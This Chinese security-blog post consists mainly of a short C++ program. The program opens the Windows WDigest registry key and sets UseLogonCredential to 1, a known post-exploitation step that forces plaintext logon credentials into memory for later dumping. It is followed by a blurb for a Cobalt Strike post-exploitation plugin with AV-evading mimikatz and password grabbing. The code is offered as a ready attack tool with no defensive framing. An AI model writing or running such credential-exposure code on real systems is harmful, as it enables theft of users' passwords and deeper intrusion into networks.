c++ 修改注册表键值

  • A+
所属分类:安全博客
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <windows.h>
#include <tchar.h>
#include <iostream>

using namespace std;

void UseLogonCredential();


int main()
{
UseLogonCredential();
}


void UseLogonCredential()
{
long lRet;
HKEY hKey;
DWORD WDigest;
DWORD dwType = REG_DWORD;
DWORD dwValue;
DWORD dwuC = 1;
lRet = RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
_T( "SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" ),
0,
KEY_QUERY_VALUE | KEY_SET_VALUE,
&amp;hKey
); /* 打开注册表 */
if ( lRet == ERROR_SUCCESS ) /* 读操作成功 */
{
lRet = RegQueryValueEx(
hKey,
_T( "UseLogonCredential" ),
0,
&dwType,
(LPBYTE) &WDigest,
&dwValue
);

//不存在该键则不修改

if ( lRet != 2 && WDigest != 1 )
{

printf( "[*] Manipulating Windows Registry to force WDigest use." );
lRet = RegSetValueEx( hKey, _T( "UseLogonCredential" ), 0, REG_DWORD, (BYTE *) &dwuC, sizeof(DWORD) );
if ( lRet != 0 )
{
_tprintf( TEXT( "nRegSetValueEx failed with error %un" ), lRet );
}
}
if(WDigest == 1){
//修改成功
printf( "[*] Manipulating Windows Registry to force WDigest use." );

}
}
RegCloseKey(hKey);
}

Source:wolvez.club | Author:wolvez

相关推荐: LSTAR - CobaltStrike 后渗透插件

LSTAR - Aggressor本着简化 CS 右键和方便自己集成的目的,对 Reference 里的项目进行了缝合以及二次开 (抄) 发 (袭) 并添加了虚拟机/AV 检测、主机相关密码抓取、 Cxk 限时免杀的 mimikatz 和 adduser 等功…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: